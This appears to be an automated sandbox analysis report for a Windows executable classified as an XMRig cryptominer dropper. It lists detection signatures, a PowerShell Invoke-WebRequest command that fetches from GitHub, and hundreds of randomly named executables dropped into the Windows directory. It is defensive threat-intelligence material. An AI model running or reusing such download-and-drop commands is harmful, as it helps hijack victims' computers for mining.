Analysis Overview
SHA256
b3ba1e6d03d375afe290a9349d81aa49613187d4f02eba05ba5aafccb93931e7
Threat Level: Known bad
The file 8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe was found to be: Known bad.
Malicious Activity Summary
xmrig
XMRig Miner payload
Xmrig family
XMRig Miner payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
UPX packed file
Loads dropped DLL
Legitimate hosting services abused for malware hosting/C2
Drops file in System32 directory
Drops file in Windows directory
Unsigned PE
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Enumerates system info in registry
Modifies data under HKEY_USERS
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-13 22:52
Signatures
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xmrig family
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-13 22:52
Reported
2024-06-13 22:55
Platform
win7-20240508-en
Max time kernel
150s
Max time network
147s
Command Line
Signatures
xmrig
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
Loads dropped DLL
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Drops file in Windows directory
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeLockMemoryPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
C:\Windows\System\KnWsnSU.exe
C:\Windows\System\KnWsnSU.exe
C:\Windows\System\TqDDTdR.exe
C:\Windows\System\TqDDTdR.exe
C:\Windows\System\kNHsiiX.exe
C:\Windows\System\kNHsiiX.exe
C:\Windows\System\LnctfwE.exe
C:\Windows\System\LnctfwE.exe
C:\Windows\System\AXykinu.exe
C:\Windows\System\AXykinu.exe
C:\Windows\System\RjcVMZw.exe
C:\Windows\System\RjcVMZw.exe
C:\Windows\System\NjflVfu.exe
C:\Windows\System\NjflVfu.exe
C:\Windows\System\dZFSsRA.exe
C:\Windows\System\dZFSsRA.exe
C:\Windows\System\ZvBxSxP.exe
C:\Windows\System\ZvBxSxP.exe
C:\Windows\System\lPMNKDm.exe
C:\Windows\System\lPMNKDm.exe
C:\Windows\System\HurxZqc.exe
C:\Windows\System\HurxZqc.exe
C:\Windows\System\VYKOjic.exe
C:\Windows\System\VYKOjic.exe
C:\Windows\System\bnxatdK.exe
C:\Windows\System\bnxatdK.exe
C:\Windows\System\vIuMTgu.exe
C:\Windows\System\vIuMTgu.exe
C:\Windows\System\JmqYvnw.exe
C:\Windows\System\JmqYvnw.exe
C:\Windows\System\QcaSPmQ.exe
C:\Windows\System\QcaSPmQ.exe
C:\Windows\System\BsOWCQp.exe
C:\Windows\System\BsOWCQp.exe
C:\Windows\System\LfurOFX.exe
C:\Windows\System\LfurOFX.exe
C:\Windows\System\EgXILFR.exe
C:\Windows\System\EgXILFR.exe
C:\Windows\System\eZEAoCz.exe
C:\Windows\System\eZEAoCz.exe
C:\Windows\System\lvMOgfb.exe
C:\Windows\System\lvMOgfb.exe
C:\Windows\System\bFbrkUM.exe
C:\Windows\System\bFbrkUM.exe
C:\Windows\System\MHWVhxR.exe
C:\Windows\System\MHWVhxR.exe
C:\Windows\System\ERDuwre.exe
C:\Windows\System\ERDuwre.exe
C:\Windows\System\MjJytPY.exe
C:\Windows\System\MjJytPY.exe
C:\Windows\System\lMQuXAP.exe
C:\Windows\System\lMQuXAP.exe
C:\Windows\System\cKuTKFs.exe
C:\Windows\System\cKuTKFs.exe
C:\Windows\System\LhWrNUm.exe
C:\Windows\System\LhWrNUm.exe
C:\Windows\System\fwpYKJB.exe
C:\Windows\System\fwpYKJB.exe
C:\Windows\System\rTRfSoX.exe
C:\Windows\System\rTRfSoX.exe
C:\Windows\System\IbzFLeC.exe
C:\Windows\System\IbzFLeC.exe
C:\Windows\System\FNQADPJ.exe
C:\Windows\System\FNQADPJ.exe
C:\Windows\System\oJgYfBO.exe
C:\Windows\System\oJgYfBO.exe
C:\Windows\System\onhmUMP.exe
C:\Windows\System\onhmUMP.exe
C:\Windows\System\xNfNwqr.exe
C:\Windows\System\xNfNwqr.exe
C:\Windows\System\HHkJheJ.exe
C:\Windows\System\HHkJheJ.exe
C:\Windows\System\gfBJkGo.exe
C:\Windows\System\gfBJkGo.exe
C:\Windows\System\cuGkutr.exe
C:\Windows\System\cuGkutr.exe
C:\Windows\System\eMgHueq.exe
C:\Windows\System\eMgHueq.exe
C:\Windows\System\FumNGYB.exe
C:\Windows\System\FumNGYB.exe
C:\Windows\System\LvOkvrY.exe
C:\Windows\System\LvOkvrY.exe
C:\Windows\System\geSKauo.exe
C:\Windows\System\geSKauo.exe
C:\Windows\System\AhhfGoJ.exe
C:\Windows\System\AhhfGoJ.exe
C:\Windows\System\dFCYBff.exe
C:\Windows\System\dFCYBff.exe
C:\Windows\System\TFTARjW.exe
C:\Windows\System\TFTARjW.exe
C:\Windows\System\HCckHmj.exe
C:\Windows\System\HCckHmj.exe
C:\Windows\System\YYkGuHf.exe
C:\Windows\System\YYkGuHf.exe
C:\Windows\System\rWGIIev.exe
C:\Windows\System\rWGIIev.exe
C:\Windows\System\doeWFFO.exe
C:\Windows\System\doeWFFO.exe
C:\Windows\System\fBQmKZI.exe
C:\Windows\System\fBQmKZI.exe
C:\Windows\System\UrouQDf.exe
C:\Windows\System\UrouQDf.exe
C:\Windows\System\JhBgpmk.exe
C:\Windows\System\JhBgpmk.exe
C:\Windows\System\REQbyKJ.exe
C:\Windows\System\REQbyKJ.exe
C:\Windows\System\PiSFcVr.exe
C:\Windows\System\PiSFcVr.exe
C:\Windows\System\RLTXfmI.exe
C:\Windows\System\RLTXfmI.exe
C:\Windows\System\DAQOkKR.exe
C:\Windows\System\DAQOkKR.exe
C:\Windows\System\NskGNdy.exe
C:\Windows\System\NskGNdy.exe
C:\Windows\System\meWnpuQ.exe
C:\Windows\System\meWnpuQ.exe
C:\Windows\System\EtdxNmL.exe
C:\Windows\System\EtdxNmL.exe
C:\Windows\System\RyAXmZJ.exe
C:\Windows\System\RyAXmZJ.exe
C:\Windows\System\mQTWJgH.exe
C:\Windows\System\mQTWJgH.exe
C:\Windows\System\cPkPfYf.exe
C:\Windows\System\cPkPfYf.exe
C:\Windows\System\IjvHVHp.exe
C:\Windows\System\IjvHVHp.exe
C:\Windows\System\vINuBPU.exe
C:\Windows\System\vINuBPU.exe
C:\Windows\System\LomIlgb.exe
C:\Windows\System\LomIlgb.exe
C:\Windows\System\cXQaHVj.exe
C:\Windows\System\cXQaHVj.exe
C:\Windows\System\jCMzslo.exe
C:\Windows\System\jCMzslo.exe
C:\Windows\System\EtbZVDG.exe
C:\Windows\System\EtbZVDG.exe
C:\Windows\System\siTPiqr.exe
C:\Windows\System\siTPiqr.exe
C:\Windows\System\XuYpBMw.exe
C:\Windows\System\XuYpBMw.exe
C:\Windows\System\CKsorHG.exe
C:\Windows\System\CKsorHG.exe
C:\Windows\System\exNITiq.exe
C:\Windows\System\exNITiq.exe
C:\Windows\System\UOoLiWY.exe
C:\Windows\System\UOoLiWY.exe
C:\Windows\System\ECWDoIo.exe
C:\Windows\System\ECWDoIo.exe
C:\Windows\System\BYTvPLS.exe
C:\Windows\System\BYTvPLS.exe
C:\Windows\System\YxZoYSN.exe
C:\Windows\System\YxZoYSN.exe
C:\Windows\System\OLRUoEY.exe
C:\Windows\System\OLRUoEY.exe
C:\Windows\System\FpsNZhC.exe
C:\Windows\System\FpsNZhC.exe
C:\Windows\System\NmsKFsI.exe
C:\Windows\System\NmsKFsI.exe
C:\Windows\System\XcAosGZ.exe
C:\Windows\System\XcAosGZ.exe
C:\Windows\System\wbsrezV.exe
C:\Windows\System\wbsrezV.exe
C:\Windows\System\WoERdpv.exe
C:\Windows\System\WoERdpv.exe
C:\Windows\System\jsXoueh.exe
C:\Windows\System\jsXoueh.exe
C:\Windows\System\GgFqCIw.exe
C:\Windows\System\GgFqCIw.exe
C:\Windows\System\LauDqlR.exe
C:\Windows\System\LauDqlR.exe
C:\Windows\System\eWswoQN.exe
C:\Windows\System\eWswoQN.exe
C:\Windows\System\YiJmvvA.exe
C:\Windows\System\YiJmvvA.exe
C:\Windows\System\knFzWbK.exe
C:\Windows\System\knFzWbK.exe
C:\Windows\System\SyDxZOU.exe
C:\Windows\System\SyDxZOU.exe
C:\Windows\System\wUQdlFp.exe
C:\Windows\System\wUQdlFp.exe
C:\Windows\System\pKNZvKV.exe
C:\Windows\System\pKNZvKV.exe
C:\Windows\System\RRnOtqB.exe
C:\Windows\System\RRnOtqB.exe
C:\Windows\System\RBXYwrc.exe
C:\Windows\System\RBXYwrc.exe
C:\Windows\System\cnNioiW.exe
C:\Windows\System\cnNioiW.exe
C:\Windows\System\ShKdEsw.exe
C:\Windows\System\ShKdEsw.exe
C:\Windows\System\VdCBOJn.exe
C:\Windows\System\VdCBOJn.exe
C:\Windows\System\ftsfwPO.exe
C:\Windows\System\ftsfwPO.exe
C:\Windows\System\ozvhTcM.exe
C:\Windows\System\ozvhTcM.exe
C:\Windows\System\GCdQyuq.exe
C:\Windows\System\GCdQyuq.exe
C:\Windows\System\ZkOMiIb.exe
C:\Windows\System\ZkOMiIb.exe
C:\Windows\System\xLSeGcp.exe
C:\Windows\System\xLSeGcp.exe
C:\Windows\System\PsSvygp.exe
C:\Windows\System\PsSvygp.exe
C:\Windows\System\ikzbVUe.exe
C:\Windows\System\ikzbVUe.exe
C:\Windows\System\ViMEhyd.exe
C:\Windows\System\ViMEhyd.exe
C:\Windows\System\CQTzEZN.exe
C:\Windows\System\CQTzEZN.exe
C:\Windows\System\jGXfedL.exe
C:\Windows\System\jGXfedL.exe
C:\Windows\System\HpEbBDf.exe
C:\Windows\System\HpEbBDf.exe
C:\Windows\System\UKrmPJP.exe
C:\Windows\System\UKrmPJP.exe
C:\Windows\System\NwABgXK.exe
C:\Windows\System\NwABgXK.exe
C:\Windows\System\pLxiaov.exe
C:\Windows\System\pLxiaov.exe
C:\Windows\System\tbaEMnE.exe
C:\Windows\System\tbaEMnE.exe
C:\Windows\System\mrjAHFc.exe
C:\Windows\System\mrjAHFc.exe
C:\Windows\System\SZzlQIA.exe
C:\Windows\System\SZzlQIA.exe
C:\Windows\System\ZOLxgEm.exe
C:\Windows\System\ZOLxgEm.exe
C:\Windows\System\aeFuDBG.exe
C:\Windows\System\aeFuDBG.exe
C:\Windows\System\zqbiany.exe
C:\Windows\System\zqbiany.exe
C:\Windows\System\fgqqeOE.exe
C:\Windows\System\fgqqeOE.exe
C:\Windows\System\tOMkzJS.exe
C:\Windows\System\tOMkzJS.exe
C:\Windows\System\wKsIuWT.exe
C:\Windows\System\wKsIuWT.exe
C:\Windows\System\OVobubn.exe
C:\Windows\System\OVobubn.exe
C:\Windows\System\DsQDdVR.exe
C:\Windows\System\DsQDdVR.exe
C:\Windows\System\iwqHZyZ.exe
C:\Windows\System\iwqHZyZ.exe
C:\Windows\System\CjacJhh.exe
C:\Windows\System\CjacJhh.exe
C:\Windows\System\bTQLXVz.exe
C:\Windows\System\bTQLXVz.exe
C:\Windows\System\vgtiDHZ.exe
C:\Windows\System\vgtiDHZ.exe
C:\Windows\System\VMerpAZ.exe
C:\Windows\System\VMerpAZ.exe
C:\Windows\System\AkqVAkg.exe
C:\Windows\System\AkqVAkg.exe
C:\Windows\System\EJGJVMy.exe
C:\Windows\System\EJGJVMy.exe
C:\Windows\System\wSTOQSl.exe
C:\Windows\System\wSTOQSl.exe
C:\Windows\System\yOOJaaa.exe
C:\Windows\System\yOOJaaa.exe
C:\Windows\System\bBrGWZp.exe
C:\Windows\System\bBrGWZp.exe
C:\Windows\System\QJqnoFO.exe
C:\Windows\System\QJqnoFO.exe
C:\Windows\System\WMUWPLY.exe
C:\Windows\System\WMUWPLY.exe
C:\Windows\System\sPhcULe.exe
C:\Windows\System\sPhcULe.exe
C:\Windows\System\iaJUsbS.exe
C:\Windows\System\iaJUsbS.exe
C:\Windows\System\wtprGds.exe
C:\Windows\System\wtprGds.exe
C:\Windows\System\ebYbctb.exe
C:\Windows\System\ebYbctb.exe
C:\Windows\System\ZXOmiCz.exe
C:\Windows\System\ZXOmiCz.exe
C:\Windows\System\ZVpoMME.exe
C:\Windows\System\ZVpoMME.exe
C:\Windows\System\IDdfDuI.exe
C:\Windows\System\IDdfDuI.exe
C:\Windows\System\yZAVvsN.exe
C:\Windows\System\yZAVvsN.exe
C:\Windows\System\bYfYdke.exe
C:\Windows\System\bYfYdke.exe
C:\Windows\System\VPiPxkD.exe
C:\Windows\System\VPiPxkD.exe
C:\Windows\System\DvsThoC.exe
C:\Windows\System\DvsThoC.exe
C:\Windows\System\bfdKgSV.exe
C:\Windows\System\bfdKgSV.exe
C:\Windows\System\btoEzRk.exe
C:\Windows\System\btoEzRk.exe
C:\Windows\System\UvOwYQD.exe
C:\Windows\System\UvOwYQD.exe
C:\Windows\System\ufYTdEz.exe
C:\Windows\System\ufYTdEz.exe
C:\Windows\System\mgnZYnk.exe
C:\Windows\System\mgnZYnk.exe
C:\Windows\System\plijyzC.exe
C:\Windows\System\plijyzC.exe
C:\Windows\System\XBBgnZC.exe
C:\Windows\System\XBBgnZC.exe
C:\Windows\System\VjigMBG.exe
C:\Windows\System\VjigMBG.exe
C:\Windows\System\XSdbWjS.exe
C:\Windows\System\XSdbWjS.exe
C:\Windows\System\YcnPfEW.exe
C:\Windows\System\YcnPfEW.exe
C:\Windows\System\NpqvwHr.exe
C:\Windows\System\NpqvwHr.exe
C:\Windows\System\HqlXvAj.exe
C:\Windows\System\HqlXvAj.exe
C:\Windows\System\AsHchqc.exe
C:\Windows\System\AsHchqc.exe
C:\Windows\System\xZePjIA.exe
C:\Windows\System\xZePjIA.exe
C:\Windows\System\vFieKYx.exe
C:\Windows\System\vFieKYx.exe
C:\Windows\System\TUrmNJx.exe
C:\Windows\System\TUrmNJx.exe
C:\Windows\System\GhmVCMB.exe
C:\Windows\System\GhmVCMB.exe
C:\Windows\System\eSjsraV.exe
C:\Windows\System\eSjsraV.exe
C:\Windows\System\RRlvfnt.exe
C:\Windows\System\RRlvfnt.exe
C:\Windows\System\LaGFIBF.exe
C:\Windows\System\LaGFIBF.exe
C:\Windows\System\YLZwwLj.exe
C:\Windows\System\YLZwwLj.exe
C:\Windows\System\yrTEAph.exe
C:\Windows\System\yrTEAph.exe
C:\Windows\System\GxKFOpB.exe
C:\Windows\System\GxKFOpB.exe
C:\Windows\System\vJwGkZa.exe
C:\Windows\System\vJwGkZa.exe
C:\Windows\System\MtyYeWD.exe
C:\Windows\System\MtyYeWD.exe
C:\Windows\System\phXwxGC.exe
C:\Windows\System\phXwxGC.exe
C:\Windows\System\TUGTorG.exe
C:\Windows\System\TUGTorG.exe
C:\Windows\System\LUWnHax.exe
C:\Windows\System\LUWnHax.exe
C:\Windows\System\pOUSLQC.exe
C:\Windows\System\pOUSLQC.exe
C:\Windows\System\vqmmPVS.exe
C:\Windows\System\vqmmPVS.exe
C:\Windows\System\vPhgzHw.exe
C:\Windows\System\vPhgzHw.exe
C:\Windows\System\XQGtexW.exe
C:\Windows\System\XQGtexW.exe
C:\Windows\System\bQOjdeJ.exe
C:\Windows\System\bQOjdeJ.exe
C:\Windows\System\NSgHmxW.exe
C:\Windows\System\NSgHmxW.exe
C:\Windows\System\FEqWxvm.exe
C:\Windows\System\FEqWxvm.exe
C:\Windows\System\EguxoPv.exe
C:\Windows\System\EguxoPv.exe
C:\Windows\System\QUyuCUv.exe
C:\Windows\System\QUyuCUv.exe
C:\Windows\System\hbeezfM.exe
C:\Windows\System\hbeezfM.exe
C:\Windows\System\DfOoCdg.exe
C:\Windows\System\DfOoCdg.exe
C:\Windows\System\KNSMkJy.exe
C:\Windows\System\KNSMkJy.exe
C:\Windows\System\YIZarca.exe
C:\Windows\System\YIZarca.exe
C:\Windows\System\GGkQRLA.exe
C:\Windows\System\GGkQRLA.exe
C:\Windows\System\KkKwnJD.exe
C:\Windows\System\KkKwnJD.exe
C:\Windows\System\hwAJubs.exe
C:\Windows\System\hwAJubs.exe
C:\Windows\System\YTrKIvX.exe
C:\Windows\System\YTrKIvX.exe
C:\Windows\System\xqlNSeT.exe
C:\Windows\System\xqlNSeT.exe
C:\Windows\System\ruyaSQq.exe
C:\Windows\System\ruyaSQq.exe
C:\Windows\System\yFjYWip.exe
C:\Windows\System\yFjYWip.exe
C:\Windows\System\MVMnqSC.exe
C:\Windows\System\MVMnqSC.exe
C:\Windows\System\OpEFlMF.exe
C:\Windows\System\OpEFlMF.exe
C:\Windows\System\VgcRvnD.exe
C:\Windows\System\VgcRvnD.exe
C:\Windows\System\HFebhKE.exe
C:\Windows\System\HFebhKE.exe
C:\Windows\System\OxXSywy.exe
C:\Windows\System\OxXSywy.exe
C:\Windows\System\hcyoRkw.exe
C:\Windows\System\hcyoRkw.exe
C:\Windows\System\tITftir.exe
C:\Windows\System\tITftir.exe
C:\Windows\System\JviJZVH.exe
C:\Windows\System\JviJZVH.exe
C:\Windows\System\AFlOjkd.exe
C:\Windows\System\AFlOjkd.exe
C:\Windows\System\TsNdjqq.exe
C:\Windows\System\TsNdjqq.exe
C:\Windows\System\aKOSZHD.exe
C:\Windows\System\aKOSZHD.exe
C:\Windows\System\DKmBLwq.exe
C:\Windows\System\DKmBLwq.exe
C:\Windows\System\YrxmFOI.exe
C:\Windows\System\YrxmFOI.exe
C:\Windows\System\wbixTLr.exe
C:\Windows\System\wbixTLr.exe
C:\Windows\System\ghpCDXI.exe
C:\Windows\System\ghpCDXI.exe
C:\Windows\System\FBLSFCA.exe
C:\Windows\System\FBLSFCA.exe
C:\Windows\System\hdozEjb.exe
C:\Windows\System\hdozEjb.exe
C:\Windows\System\OcfCZCK.exe
C:\Windows\System\OcfCZCK.exe
C:\Windows\System\moYwWDk.exe
C:\Windows\System\moYwWDk.exe
C:\Windows\System\iUfaHsm.exe
C:\Windows\System\iUfaHsm.exe
C:\Windows\System\oRjCePj.exe
C:\Windows\System\oRjCePj.exe
C:\Windows\System\MNAPpdp.exe
C:\Windows\System\MNAPpdp.exe
C:\Windows\System\BaZMgiD.exe
C:\Windows\System\BaZMgiD.exe
C:\Windows\System\MGaaWEL.exe
C:\Windows\System\MGaaWEL.exe
C:\Windows\System\YLsrkUK.exe
C:\Windows\System\YLsrkUK.exe
C:\Windows\System\tqdCoTl.exe
C:\Windows\System\tqdCoTl.exe
C:\Windows\System\BfZBBmx.exe
C:\Windows\System\BfZBBmx.exe
C:\Windows\System\JdcLHwr.exe
C:\Windows\System\JdcLHwr.exe
C:\Windows\System\xTyEDfJ.exe
C:\Windows\System\xTyEDfJ.exe
C:\Windows\System\ljoeIEl.exe
C:\Windows\System\ljoeIEl.exe
C:\Windows\System\pluBDwQ.exe
C:\Windows\System\pluBDwQ.exe
C:\Windows\System\SWubfJc.exe
C:\Windows\System\SWubfJc.exe
C:\Windows\System\sXXYWIP.exe
C:\Windows\System\sXXYWIP.exe
C:\Windows\System\BkpgOUT.exe
C:\Windows\System\BkpgOUT.exe
C:\Windows\System\WbgyAxV.exe
C:\Windows\System\WbgyAxV.exe
C:\Windows\System\JhilTyZ.exe
C:\Windows\System\JhilTyZ.exe
C:\Windows\System\leYRZXi.exe
C:\Windows\System\leYRZXi.exe
C:\Windows\System\QjZvfqb.exe
C:\Windows\System\QjZvfqb.exe
C:\Windows\System\pnToZJO.exe
C:\Windows\System\pnToZJO.exe
C:\Windows\System\yvXkihD.exe
C:\Windows\System\yvXkihD.exe
C:\Windows\System\yHBsKvB.exe
C:\Windows\System\yHBsKvB.exe
C:\Windows\System\IcxoBYx.exe
C:\Windows\System\IcxoBYx.exe
C:\Windows\System\liCfusR.exe
C:\Windows\System\liCfusR.exe
C:\Windows\System\iAJKEqO.exe
C:\Windows\System\iAJKEqO.exe
C:\Windows\System\ScykNKL.exe
C:\Windows\System\ScykNKL.exe
C:\Windows\System\IWDhGhv.exe
C:\Windows\System\IWDhGhv.exe
C:\Windows\System\kscuHRX.exe
C:\Windows\System\kscuHRX.exe
C:\Windows\System\RgYDIyB.exe
C:\Windows\System\RgYDIyB.exe
C:\Windows\System\bsAPfDg.exe
C:\Windows\System\bsAPfDg.exe
C:\Windows\System\KpNGQzV.exe
C:\Windows\System\KpNGQzV.exe
C:\Windows\System\ySoCeGe.exe
C:\Windows\System\ySoCeGe.exe
C:\Windows\System\aQRnMXP.exe
C:\Windows\System\aQRnMXP.exe
C:\Windows\System\miBuNqS.exe
C:\Windows\System\miBuNqS.exe
C:\Windows\System\ulAqZxI.exe
C:\Windows\System\ulAqZxI.exe
C:\Windows\System\JMIlkPo.exe
C:\Windows\System\JMIlkPo.exe
C:\Windows\System\TkmpqJh.exe
C:\Windows\System\TkmpqJh.exe
C:\Windows\System\pWWvKGq.exe
C:\Windows\System\pWWvKGq.exe
C:\Windows\System\lKBZcpC.exe
C:\Windows\System\lKBZcpC.exe
C:\Windows\System\XzVoKrl.exe
C:\Windows\System\XzVoKrl.exe
C:\Windows\System\vDlJHlo.exe
C:\Windows\System\vDlJHlo.exe
C:\Windows\System\kNnXhou.exe
C:\Windows\System\kNnXhou.exe
C:\Windows\System\FtdFfUG.exe
C:\Windows\System\FtdFfUG.exe
C:\Windows\System\HyHMFwC.exe
C:\Windows\System\HyHMFwC.exe
C:\Windows\System\OJVLmGM.exe
C:\Windows\System\OJVLmGM.exe
C:\Windows\System\pteFBmp.exe
C:\Windows\System\pteFBmp.exe
C:\Windows\System\krAEITt.exe
C:\Windows\System\krAEITt.exe
C:\Windows\System\UKRhDSF.exe
C:\Windows\System\UKRhDSF.exe
C:\Windows\System\LXOFDKe.exe
C:\Windows\System\LXOFDKe.exe
C:\Windows\System\zBoGmnl.exe
C:\Windows\System\zBoGmnl.exe
C:\Windows\System\VrrujtE.exe
C:\Windows\System\VrrujtE.exe
C:\Windows\System\BOpQpEI.exe
C:\Windows\System\BOpQpEI.exe
C:\Windows\System\DJzjXhW.exe
C:\Windows\System\DJzjXhW.exe
C:\Windows\System\SICeweO.exe
C:\Windows\System\SICeweO.exe
C:\Windows\System\XMHHYCW.exe
C:\Windows\System\XMHHYCW.exe
C:\Windows\System\lqVUFiP.exe
C:\Windows\System\lqVUFiP.exe
C:\Windows\System\hOntNmu.exe
C:\Windows\System\hOntNmu.exe
C:\Windows\System\kccwPwb.exe
C:\Windows\System\kccwPwb.exe
C:\Windows\System\FjqRiQQ.exe
C:\Windows\System\FjqRiQQ.exe
C:\Windows\System\LBFXvlV.exe
C:\Windows\System\LBFXvlV.exe
C:\Windows\System\ongydOX.exe
C:\Windows\System\ongydOX.exe
C:\Windows\System\TrjOdQk.exe
C:\Windows\System\TrjOdQk.exe
C:\Windows\System\SDJNXYo.exe
C:\Windows\System\SDJNXYo.exe
C:\Windows\System\utstzbf.exe
C:\Windows\System\utstzbf.exe
C:\Windows\System\BumrePH.exe
C:\Windows\System\BumrePH.exe
C:\Windows\System\CJdknwf.exe
C:\Windows\System\CJdknwf.exe
C:\Windows\System\GpfWVzi.exe
C:\Windows\System\GpfWVzi.exe
C:\Windows\System\nIBTPNu.exe
C:\Windows\System\nIBTPNu.exe
C:\Windows\System\odwzTwB.exe
C:\Windows\System\odwzTwB.exe
C:\Windows\System\diTZdTO.exe
C:\Windows\System\diTZdTO.exe
C:\Windows\System\BwpdRAE.exe
C:\Windows\System\BwpdRAE.exe
C:\Windows\System\AJDLNiw.exe
C:\Windows\System\AJDLNiw.exe
C:\Windows\System\ucDIUIy.exe
C:\Windows\System\ucDIUIy.exe
C:\Windows\System\ndvZYdq.exe
C:\Windows\System\ndvZYdq.exe
C:\Windows\System\dnuaPLs.exe
C:\Windows\System\dnuaPLs.exe
C:\Windows\System\dDLzEbq.exe
C:\Windows\System\dDLzEbq.exe
C:\Windows\System\TzYQhTU.exe
C:\Windows\System\TzYQhTU.exe
C:\Windows\System\uBdCMcP.exe
C:\Windows\System\uBdCMcP.exe
C:\Windows\System\tljrkgx.exe
C:\Windows\System\tljrkgx.exe
C:\Windows\System\kNGVEVO.exe
C:\Windows\System\kNGVEVO.exe
C:\Windows\System\eybChKv.exe
C:\Windows\System\eybChKv.exe
C:\Windows\System\XMRzTYt.exe
C:\Windows\System\XMRzTYt.exe
C:\Windows\System\qsfhsSd.exe
